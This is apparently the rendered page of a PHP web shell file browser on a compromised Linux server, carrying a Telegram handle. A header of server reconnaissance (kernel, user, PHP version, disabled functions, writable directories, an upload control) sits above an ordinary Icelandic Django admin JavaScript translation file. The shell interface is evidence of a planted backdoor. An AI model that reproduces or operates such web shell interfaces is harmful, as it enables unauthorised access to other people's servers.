https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /usr/lib64/python2.7/site-packages/django/contrib/admin/locale/is/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib64/python2.7/site-packages/django/contrib/admin/locale/is/LC_MESSAGES/djangojs.po
# This file is distributed under the same license as the Django package.
#
# Translators:
# gudbergur <gudbergur@gmail.com>, 2012
# Hafsteinn Einarsson <haffi67@gmail.com>, 2011-2012
# Jannis Leidel <jannis@leidel.info>, 2011
msgid ""
msgstr ""
"Project-Id-Version: django-core\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2013-05-02 16:18+0200\n"
"PO-Revision-Date: 2013-04-29 08:25+0000\n"
"Last-Translator: claudep <claude@2xlibre.net>\n"
"Language-Team: Icelandic (http://www.transifex.com/projects/p/django/"
"language/is/)\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Language: is\n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"

#: static/admin/js/SelectFilter2.js:45
#, c-format
msgid "Available %s"
msgstr "Fáanleg %s"

#: static/admin/js/SelectFilter2.js:46
#, c-format
msgid ""
"This is the list of available %s. You may choose some by selecting them in "
"the box below and then clicking the \"Choose\" arrow between the two boxes."
msgstr ""
"Þetta er listi af því %s sem er í boði. Þú getur ákveðið hluti með því að "
"velja þá í boxinu að neðan og ýta svo á \"Velja\" örina milli boxana tveggja."

#: static/admin/js/SelectFilter2.js:53
#, c-format
msgid "Type into this box to filter down the list of available %s."
msgstr "Skrifaðu í boxið til að sía listann af því %s sem er í boði."

#: static/admin/js/SelectFilter2.js:57
msgid "Filter"
msgstr "Sía"

#: static/admin/js/SelectFilter2.js:61
msgid "Choose all"
msgstr "Velja öll"

#: static/admin/js/SelectFilter2.js:61
#, c-format
msgid "Click to choose all %s at once."
msgstr "Smelltu til að velja allt %s í einu."

#: static/admin/js/SelectFilter2.js:67
msgid "Choose"
msgstr "Veldu"

#: static/admin/js/SelectFilter2.js:69
msgid "Remove"
msgstr "Fjarlægja"

#: static/admin/js/SelectFilter2.js:75
#, c-format
msgid "Chosen %s"
msgstr "Valin %s"

#: static/admin/js/SelectFilter2.js:76
#, c-format
msgid ""
"This is the list of chosen %s. You may remove some by selecting them in the "
"box below and then clicking the \"Remove\" arrow between the two boxes."
msgstr ""
"Þetta er listinn af völdu %s. Þú getur fjarlægt hluti með því að velja þá í "
"boxinu að neðan og ýta svo á \"Eyða\" örina á milli boxana tveggja."

#: static/admin/js/SelectFilter2.js:80
msgid "Remove all"
msgstr "Eyða öllum"

#: static/admin/js/SelectFilter2.js:80
#, c-format
msgid "Click to remove all chosen %s at once."
msgstr "Smelltu til að fjarlægja allt valið %s í einu."

#: static/admin/js/actions.js:18 static/admin/js/actions.min.js:1
msgid "%(sel)s of %(cnt)s selected"
msgid_plural "%(sel)s of %(cnt)s selected"
msgstr[0] " %(sel)s  í %(cnt)s  valin"
msgstr[1] " %(sel)s  í %(cnt)s  valin"

#: static/admin/js/actions.js:109 static/admin/js/actions.min.js:5
msgid ""
"You have unsaved changes on individual editable fields. If you run an "
"action, your unsaved changes will be lost."
msgstr ""
"Enn eru óvistaðar breytingar í reitum. Ef þú keyrir aðgerð munu breytingar "
"ekki verða vistaðar."

#: static/admin/js/actions.js:121 static/admin/js/actions.min.js:5
msgid ""
"You have selected an action, but you haven't saved your changes to "
"individual fields yet. Please click OK to save. You'll need to re-run the "
"action."
msgstr ""
"Þú hefur valið aðgerð en hefur ekki vistað breytingar á reitum. Vinsamlegast "
"veldu 'Í lagi' til að vista. Þú þarft að endurkeyra aðgerðina."

#: static/admin/js/actions.js:123 static/admin/js/actions.min.js:6
msgid ""
"You have selected an action, and you haven't made any changes on individual "
"fields. You're probably looking for the Go button rather than the Save "
"button."
msgstr ""
"Þú hefur valið aðgerð en hefur ekki gert breytingar á reitum. Þú ert líklega "
"að leita að 'Fara' hnappnum frekar en 'Vista' hnappnum."

#: static/admin/js/calendar.js:8
msgid ""
"January February March April May June July August September October November "
"December"
msgstr ""
"janúar febrúar mars apríl maí júní júlí ágúst september október nóvember "
"desember"

#: static/admin/js/calendar.js:9
msgid "S M T W T F S"
msgstr "S M Þ M F F L"

#: static/admin/js/collapse.js:8 static/admin/js/collapse.js.c:19
#: static/admin/js/collapse.min.js:1
msgid "Show"
msgstr "Sýna"

#: static/admin/js/collapse.js:16 static/admin/js/collapse.min.js:1
msgid "Hide"
msgstr "Fela"

#: static/admin/js/admin/DateTimeShortcuts.js:52
#: static/admin/js/admin/DateTimeShortcuts.js:88
msgid "Now"
msgstr "Núna"

#: static/admin/js/admin/DateTimeShortcuts.js:56
msgid "Clock"
msgstr "Klukka"

#: static/admin/js/admin/DateTimeShortcuts.js:84
msgid "Choose a time"
msgstr "Veldu tíma"

#: static/admin/js/admin/DateTimeShortcuts.js:89
msgid "Midnight"
msgstr "Miðnætti"

#: static/admin/js/admin/DateTimeShortcuts.js:90
msgid "6 a.m."
msgstr "6 f.h."

#: static/admin/js/admin/DateTimeShortcuts.js:91
msgid "Noon"
msgstr "Hádegi"

#: static/admin/js/admin/DateTimeShortcuts.js:95
#: static/admin/js/admin/DateTimeShortcuts.js:208
msgid "Cancel"
msgstr "Hætta við"

#: static/admin/js/admin/DateTimeShortcuts.js:148
#: static/admin/js/admin/DateTimeShortcuts.js:201
msgid "Today"
msgstr "Í dag"

#: static/admin/js/admin/DateTimeShortcuts.js:152
msgid "Calendar"
msgstr "Dagatal"

#: static/admin/js/admin/DateTimeShortcuts.js:199
msgid "Yesterday"
msgstr "Í gær"

#: static/admin/js/admin/DateTimeShortcuts.js:203
msgid "Tomorrow"
msgstr "Á morgun"

https://t.me/AnonymousX5 - 2025